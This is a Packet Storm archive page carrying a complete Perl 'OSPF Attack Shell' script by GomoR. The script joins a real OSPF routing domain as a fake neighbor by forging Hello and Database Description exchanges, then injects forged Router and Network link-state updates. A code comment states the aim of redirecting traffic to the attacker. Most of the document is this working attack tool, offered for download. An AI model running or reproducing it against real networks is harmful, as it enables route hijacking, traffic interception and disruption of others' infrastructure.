exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

ospf-ash.txt

ospf-ash.txt
Posted Mar 20, 2007
Authored by GomoR | Site gomor.org

OSPF Attack Shell module. This may be useful for writing fuzzers.

tags | shell, fuzzer
SHA-256 | 9e8e9cbd17a599eed92073f1f097f53fafcc4cf6a2118d7b8cdc29d4ed9f50b4

ospf-ash.txt

Change Mirror Download
#!/usr/bin/perl
#
# $Id: ospf-ash.pl,v 1.8 2007/03/05 14:48:11 gomor Exp $
#
package Net::Attack::OSPF;
use strict;
use warnings;

our $VERSION = '1.00';

use Net::Frame::Device;
use Net::Frame::Dump::Online;

use Net::Frame::Simple;
use Net::Write::Layer2;

use Net::Frame::Layer qw(:subs);
use Net::Frame::Layer::ETH qw(:consts);
use Net::Frame::Layer::ARP qw(:consts);
use Net::Frame::Layer::IPv4 qw(:consts);
use Net::Frame::Layer::OSPF qw(:consts);
use Net::Frame::Layer::OSPF::Hello;
use Net::Frame::Layer::OSPF::DatabaseDesc;
use Net::Frame::Layer::OSPF::Lsa;

use Data::Dumper;
use Term::ReadLine;
use Time::HiRes qw(gettimeofday);

our $oDevice;
our $oWrite;

# To store OSPF parameters (areaId, ...)
our $Env = {
routerPri => 1,
lsAge => 200,
areaId => undef,
networkMask => undef,
dr => undef,
bdr => undef,
neighborList => [],
_neighbors => [],
state => 'start',
};

# Will store ARP cache table
our $Mac = {};

sub init {
my ($dev, $src, $mac) = @_;

if ($dev) { $oDevice = Net::Frame::Device->new(dev => $dev) }
else { $oDevice = Net::Frame::Device->new }
$oDevice->ip($src) if $src;
$oDevice->mac($mac) if $mac;

print "\n -- OSPF Attack Shell - 0.14 --\n\n";
print "Using device : ".$oDevice->dev."\n";
print "Using source IP : ".$oDevice->ip. "\n";
print "Using source MAC: ".$oDevice->mac."\n";

$oWrite = Net::Write::Layer2->new(dev => $oDevice->dev);
$oWrite->open;

#$oDump = Net::Frame::Dump::Online->new(
#dev => $oDevice->dev,
#overwrite => 1,
#promisc => 1,
#);
}

sub help {
print
"You can use the following functions:\n".
" listen() wait for an OSPF Hello frame, get various variables\n".
" exchange() become an OSPF neighbor with all available routers\n".
" lock() keep regularly sending Hello frames\n".
" lsu_router(NETWORK,MASK) inject a LSA Router\n".
"";
}

sub _dumpCallListen {
my ($h, $data) = @_;
my $f = Net::Frame::Simple->newFromDump($h);
if ($f->ref->{'OSPF'}) {
my $packet = $f->ref->{'OSPF'}->packet;
if ($packet->layer eq 'OSPF::Hello') {
my $dr = $packet->designatedRouter
if $packet->designatedRouter;
my $bdr = $packet->backupDesignatedRouter
if $packet->backupDesignatedRouter;
my @nl;
for ($packet->neighborList) {
push @nl, $_ unless /^0.0.0.0$/;
}

# If there is only a DR, we add it to neighborList
if (! $bdr || $bdr =~ /^0.0.0.0$/) { push @nl, $dr; }

print "Hello from: ".$f->ref->{'IPv4'}->src."\n";
print "Found: DR : $dr\n" if $dr;
print "Found: BDR: $bdr\n" if $bdr;
print "Found: neighborList: @nl\n" if @nl;
$Env->{dr} = $dr if $dr;
$Env->{bdr} = $bdr if $bdr;
$Env->{neighborList} = \@nl if @nl;
$Env->{helloInterval} = $packet->helloInterval
if $packet->helloInterval;
$Env->{routerDeadInterval} = $packet->routerDeadInterval
if $packet->routerDeadInterval;
$Env->{networkMask} = $packet->networkMask
if $packet->networkMask;
$Env->{areaId} = $f->ref->{'OSPF'}->areaId
if $f->ref->{'OSPF'}->areaId;

$data->stop;
}
}
}

sub _updateNeighbors {
my %neighbor;
$neighbor{$Env->{dr}} = '' if ($Env->{dr} && $Env->{dr} !~ /^0.0.0.0$/);
$neighbor{$Env->{bdr}} = '' if ($Env->{bdr} && $Env->{bdr} !~ /^0.0.0.0$/);
for (@{$Env->{neighborList}}) {
#next if /^0.0.0.0$/;
#next if /^@{[$oDevice->ip]}$/;
$neighbor{$_} = '';
}
for (keys %neighbor) {
delete $neighbor{$_} if (/^0.0.0.0$/ || /^@{[$oDevice->ip]}$/);
}
$Env->{_neighbors} = [ keys %neighbor ];
}

sub listen {
# Flush $Env vars
$Env->{dr} = undef;
$Env->{bdr} = undef;
$Env->{neighborList} = [];

my $oDump = Net::Frame::Dump::Online->new(
dev => $oDevice->dev,
overwrite => 1,
promisc => 1,
);
$oDump->filter('dst host 224.0.0.5');
$oDump->onRecv(\&_dumpCallListen);
$oDump->onRecvData($oDump);
$oDump->start;

if ($Env->{dr} && $Env->{dr} !~ /^0.0.0.0$/) {
$Mac->{$Env->{dr}} = $oDevice->lookupMac($Env->{dr});
}
if ($Env->{bdr} && $Env->{bdr} !~ /^0.0.0.0$/) {
$Mac->{$Env->{bdr}} = $oDevice->lookupMac($Env->{bdr});
}

_updateNeighbors();
}

sub _ospfSend1 {
my ($f) = @_;
$f->send($oWrite);
}

sub _ospfSend {
my ($f, $oDump, $recvFrom) = @_;
my $recv;
for (1..2) { # Two retries
$f->send($oWrite);
until ($oDump->timeout) {
if ($recv = $f->recv($oDump)) {
my $dst = $f->ref->{'IPv4'}->dst;
my $src = $recv->ref->{'IPv4'}->src;
if ($recvFrom && ($src eq $recvFrom)) {
last;
}
elsif ($dst eq '224.0.0.5' || $dst eq $src) {
#if ($dst eq '224.0.0.5' || $dst eq $src) {
last;
}
$recv = undef;
}
}
$oDump->timeoutReset;
last if $recv;
}
$recv;
}

sub _getEthHdr {
my ($dst) = @_;
my $mac = ($Mac->{$dst} || $oDevice->lookupMac($dst)) if $dst;
Net::Frame::Layer::ETH->new(
src => $oDevice->mac,
dst => $mac || NF_ETH_ADDR_BROADCAST,
);
}

sub _getIpHdr {
my ($src, $dst) = @_;
Net::Frame::Layer::IPv4->new(
noFixLen => 1,
ttl => 1,
src => $src,
dst => $dst || '224.0.0.5',
protocol => NF_IPv4_PROTOCOL_OSPF,
);
}

sub _getOspfHello {
my $eth = _getEthHdr();
my $ip = _getIpHdr($oDevice->ip);

my $ospf = Net::Frame::Layer::OSPF->new(
type => NF_OSPF_TYPE_HELLO,
routerId => $oDevice->ip,
areaId => $Env->{areaId},
);

my $ospfHello = Net::Frame::Layer::OSPF::Hello->new(
networkMask => $Env->{networkMask},
helloInterval => $Env->{helloInterval},
options => NF_OSPF_HELLO_OPTIONS_E,
routerPri => $Env->{routerPri},
routerDeadInterval => $Env->{routerDeadInterval},
designatedRouter => $Env->{dr},
backupDesignatedRouter => $Env->{bdr} || '0.0.0.0',
neighborList => $Env->{neighborList},
);
$ospf->packet($ospfHello);
$ospf->computeLengths;
$ospf->computeChecksums;

$ip->length($ip->length + $ospf->length);

Net::Frame::Simple->new(layers => [ $eth, $ip, $ospf ]);
}

sub _getOspfDbd {
my ($router, $flags, $seqnum, $lsa) = @_;

my $eth = _getEthHdr($router);
my $ip = _getIpHdr($oDevice->ip, $router);

my $ospf = Net::Frame::Layer::OSPF->new(
type => NF_OSPF_TYPE_DATABASEDESC,
routerId => $oDevice->ip,
areaId => $Env->{areaId},
);

my $ospfDbd = Net::Frame::Layer::OSPF::DatabaseDesc->new(
ddSequenceNumber => $seqnum || 4300,
options =>
NF_OSPF_DATABASEDESC_OPTIONS_0|NF_OSPF_DATABASEDESC_OPTIONS_E,
flags => $flags ||
(NF_OSPF_DATABASEDESC_FLAGS_I | NF_OSPF_DATABASEDESC_FLAGS_M |
NF_OSPF_DATABASEDESC_FLAGS_MS),
);
$ospf->packet($ospfDbd);
$ospf->computeLengths;
$ospf->computeChecksums;

$ip->length($ip->length + $ospf->length);

$ospf->packet->lsaList([ $lsa ]) if $lsa;

Net::Frame::Simple->new(layers => [ $eth, $ip, $ospf, ]);
}

sub _getLsaRouterHeader {
Net::Frame::Layer::OSPF::Lsa->new(
lsAge => 92,
options => 0x02,
lsType => 0x01,
linkStateId => $oDevice->ip,
advertisingRouter => $oDevice->ip,
lsSequenceNumber => 1,
);
}

sub exchange {
my ($router) = @_;

my $oDump = Net::Frame::Dump::Online->new(
dev => $oDevice->dev,
overwrite => 1,
promisc => 1,
timeoutOnNext => 2,
);
$oDump->filter('not arp and not tcp and not udp and not icmp');
$oDump->start;

my $ospfHelloReply = _ospfSend(_getOspfHello(), $oDump, $router);

die("No router listens") unless $ospfHelloReply;
# We are in ExStart state

for (@{$Env->{_neighbors}}) {
next if /^0.0.0.0$/;

# Then, DR sends DBD, we reply the same DBD
my $ospfDbd = _getOspfDbd($_);
my $ospfDbdReply = _ospfSend($ospfDbd, $oDump);

if (! $ospfDbdReply) {
warn("$_: No DBD reply");
next;
}
# We are in Exchange state

# Now is Exchange state, we reply with received ddSeqNum + 1, flags M|MS,
# and our Router-LSA header
my $seqnum = $ospfDbdReply->ref->{'OSPF'}->packet->ddSequenceNumber + 1;
my $flags = NF_OSPF_DATABASEDESC_FLAGS_M | NF_OSPF_DATABASEDESC_FLAGS_MS;
my $lsaRouter = _getLsaRouterHeader();
my $ospfDbd2 = _getOspfDbd($_, $flags, $seqnum, $lsaRouter);
my $ospfDbd2Reply = _ospfSend($ospfDbd2, $oDump);

if (! $ospfDbd2Reply) {
warn("$_: No DBD2 reply");
next;
}

# Last step before LS exchange, we reply to the "empty" request with
# ddSeqNum +1, flags MS only
$seqnum = $ospfDbd2Reply->ref->{'OSPF'}->packet->ddSequenceNumber + 1;
$flags = NF_OSPF_DATABASEDESC_FLAGS_MS;
my $ospfDbd3 = _getOspfDbd($_, $flags, $seqnum);
my $ospfDbd3Reply = _ospfSend($ospfDbd3, $oDump);

if (! $ospfDbd3Reply) {
warn("$_: No DBD3 reply");
next;
}

print "$_: exchange complete\n";
}

# If there were no BDR, we are the new one
if (! $Env->{bdr} || $Env->{bdr} =~ /^0.0.0.0$/) {
$Env->{bdr} = $oDevice->ip;
}

_updateNeighbors();
$Env->{neighborList} = [ @{$Env->{_neighbors}} ];
push @{$Env->{neighborList}}, $oDevice->ip;

$oDump->stop;
}

sub _getLsuNetwork {
my ($linkStateId, $router, $netmask) = @_;

my $eth = _getEthHdr();
my $ip = _getIpHdr($oDevice->ip);

my $ospf = Net::Frame::Layer::OSPF->new(
type => NF_OSPF_TYPE_LINKSTATEUPDATE,
routerId => $oDevice->ip,
areaId => $Env->{areaId},
);

my $lsa = Net::Frame::Layer::OSPF::Lsa->new(
lsAge => $Env->{lsAge},
options => 0x02,
lsType => 0x02,
linkStateId => $linkStateId || $oDevice->ip,
advertisingRouter => $oDevice->ip,
lsSequenceNumber => getRandom32bitsInt(),
);

my $lsaNetwork = Net::Frame::Layer::OSPF::Lsa::Network->new(
netmask => $netmask,
routerList => [ $router, ],
);

$lsa->lsa($lsaNetwork);
$lsa->computeLengths;
$lsa->computeChecksums;

my $ospfLsu = Net::Frame::Layer::OSPF::LinkStateUpdate->new(
lsaNumber => 1,
lsaList => [ $lsa ],
);

$ospf->packet($ospfLsu);
$ospf->computeLengths;
$ospf->computeChecksums;

$ip->length($ip->length + $ospf->length);

Net::Frame::Simple->new(layers => [ $eth, $ip, $ospf ]);
}

sub _getLsuRouter {
my ($network, $mask) = @_;

my $eth = _getEthHdr();
my $ip = _getIpHdr($oDevice->ip);

my $ospf = Net::Frame::Layer::OSPF->new(
type => NF_OSPF_TYPE_LINKSTATEUPDATE,
routerId => $oDevice->ip,
areaId => $Env->{areaId},
);

my $lsa = Net::Frame::Layer::OSPF::Lsa->new(
lsAge => $Env->{lsAge},
options => 0x22,
lsType => 0x01,
linkStateId => $oDevice->ip,
advertisingRouter => $oDevice->ip,
lsSequenceNumber => getRandom32bitsInt(),
);

my $lsaRouter = Net::Frame::Layer::OSPF::Lsa::Router->new(
flags => 0,
);

# To correctly send a router, we must first advertise the network/mask
# In a stub network (type 0x03)
my @linkList = ();
push @linkList, Net::Frame::Layer::OSPF::Lsa::Router::Link->new(
linkId => $network,
linkData => $mask,
type => 0x03,
nTos => 0,
metric => 10,
);

# Then, we MUST say which is the gateway, to the DR
# Here, we say the gateway is our IP address to redirect
# trafic to us.
push @linkList, Net::Frame::Layer::OSPF::Lsa::Router::Link->new(
linkId => $Env->{dr},
linkData => $oDevice->ip,
type => 0x02,
nTos => 0,
metric => 10,
);

$lsaRouter->nLink(scalar @linkList);
$lsaRouter->linkList(\@linkList);

$lsa->lsa($lsaRouter);
$lsa->computeLengths;
$lsa->computeChecksums;

my $ospfLsu = Net::Frame::Layer::OSPF::LinkStateUpdate->new(
lsaNumber => 1,
lsaList => [ $lsa ],
);

$ospf->packet($ospfLsu);
$ospf->computeLengths;
$ospf->computeChecksums;

$ip->length($ip->length + $ospf->length);

Net::Frame::Simple->new(layers => [ $eth, $ip, $ospf ]);
}

sub lsu_network {
my ($linkStateId, $router, $netmask) = @_;

my $lsu = _getLsuNetwork($linkStateId, $router, $netmask);
_ospfSend1($lsu);
}

sub lsu_router {
my ($network, $mask) = @_;

my $lsu = _getLsuRouter($network, $mask);
_ospfSend1($lsu);
}

sub _getLsaRequest {
my ($router) = @_;

my $eth = _getEthHdr($Env->{dr});
my $ip = _getIpHdr($oDevice->ip, $Env->{dr});

my $ospf = Net::Frame::Layer::OSPF->new(
type => NF_OSPF_TYPE_LINKSTATEREQUEST,
routerId => $oDevice->ip,
areaId => $Env->{areaId},
);

my $ospfLsr = Net::Frame::Layer::OSPF::LinkStateRequest->new(
lsType => NF_OSPF_LSTYPE_ROUTER,
linkStateId => $router,
advertisingRouter => $router,
);
$ospf->packet($ospfLsr);
$ospf->computeLengths;
$ospf->computeChecksums;

$ip->length($ip->length + $ospf->length);

Net::Frame::Simple->new(layers => [ $eth, $ip, $ospf, ]);
}

sub _getLsaAck {
my ($request) = @_;

my $eth = _getEthHdr();
my $ip = _getIpHdr($oDevice->ip);

my $ospf = Net::Frame::Layer::OSPF->new(
type => NF_OSPF_TYPE_LINKSTATEACK,
routerId => $oDevice->ip,
areaId => $Env->{areaId},
);

my $raw = '';
for ($request->lsaList) {
$_->lsa(undef);
$raw .= $_->pack;
}

$ospf->packet($raw);
$ospf->computeLengths;
$ospf->computeChecksums;

$ip->length($ip->length + $ospf->length);

Net::Frame::Simple->new(layers => [ $eth, $ip, $ospf, ]);
}

sub _dumpCallOnRecv {
my ($h, $data) = @_;
my $frame = Net::Frame::Simple->newFromDump($h);
if ($frame->ref->{'OSPF'}) {
kill('ALRM', $$);
my $packet = $frame->ref->{'OSPF'}->packet;
if ($packet && $packet->layer eq 'OSPF::LinkStateUpdate') {
my $lsAck = _getLsaAck($packet);
_ospfSend1($lsAck);
}
}
}

sub _sendHelloOnAlarm {
my $hello = _getOspfHello();
_ospfSend1($hello);
}

sub lock {
$SIG{ALRM} = \&_sendHelloOnAlarm;

my $pid = fork();
die("fork: $!") unless defined($pid);
if ($pid) { # Parent process
return 1;
}
else { # Child process
close(STDIN);
close(STDOUT);
close(STDERR);
my $oDumpChild = Net::Frame::Dump::Online->new(
overwrite => 1,
promisc => 1,
dev => $oDevice->dev,
filter => 'not tcp and not arp and not udp and not icmp',
onRecv => \&_dumpCallOnRecv,
);
$oDumpChild->start;
$oDumpChild->stop;
exit(0);
}
}

sub ash {
my ($dev, $src, $mac) = @_;

init($dev, $src, $mac);

my $prompt = 'ash> ';
my $name = 'ASH';
my $term = Term::ReadLine->new($name);
$term->ornaments(0);

{
no strict;

while (1) {
if (my $line = $term->readline($prompt)) {
$line =~ s/^\s*listen\s*$/Net::Attack::OSPF::listen/;
eval($line);
warn($@) if $@;
print "\n";
}
}
}

print "\n";
}

#END {
#if ($oDump && $oDump->isRunning) {
#$oDump->stop;
#}
#}

1;

package main;

my $dev = shift;
my $src = shift;
my $mac = shift;

Net::Attack::OSPF::ash($dev, $src, $mac);

1;

__END__

=head1 NAME

nf-shell - Net::Frame Shell tool

=head1 AUTHOR

Patrice E<lt>GomoRE<gt> Auffret

=head1 COPYRIGHT AND LICENSE

Copyright (c) 2006, Patrice E<lt>GomoRE<gt> Auffret

You may distribute this module under the terms of the Artistic license.
See LICENSE.Artistic file in the source distribution archive.

=cut
Login or Register to add favorites

File Archive:

May 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    44 Files
  • 2
    May 2nd
    5 Files
  • 3
    May 3rd
    11 Files
  • 4
    May 4th
    0 Files
  • 5
    May 5th
    0 Files
  • 6
    May 6th
    28 Files
  • 7
    May 7th
    3 Files
  • 8
    May 8th
    4 Files
  • 9
    May 9th
    53 Files
  • 10
    May 10th
    12 Files
  • 11
    May 11th
    0 Files
  • 12
    May 12th
    0 Files
  • 13
    May 13th
    0 Files
  • 14
    May 14th
    0 Files
  • 15
    May 15th
    0 Files
  • 16
    May 16th
    0 Files
  • 17
    May 17th
    0 Files
  • 18
    May 18th
    0 Files
  • 19
    May 19th
    0 Files
  • 20
    May 20th
    0 Files
  • 21
    May 21st
    0 Files
  • 22
    May 22nd
    0 Files
  • 23
    May 23rd
    0 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close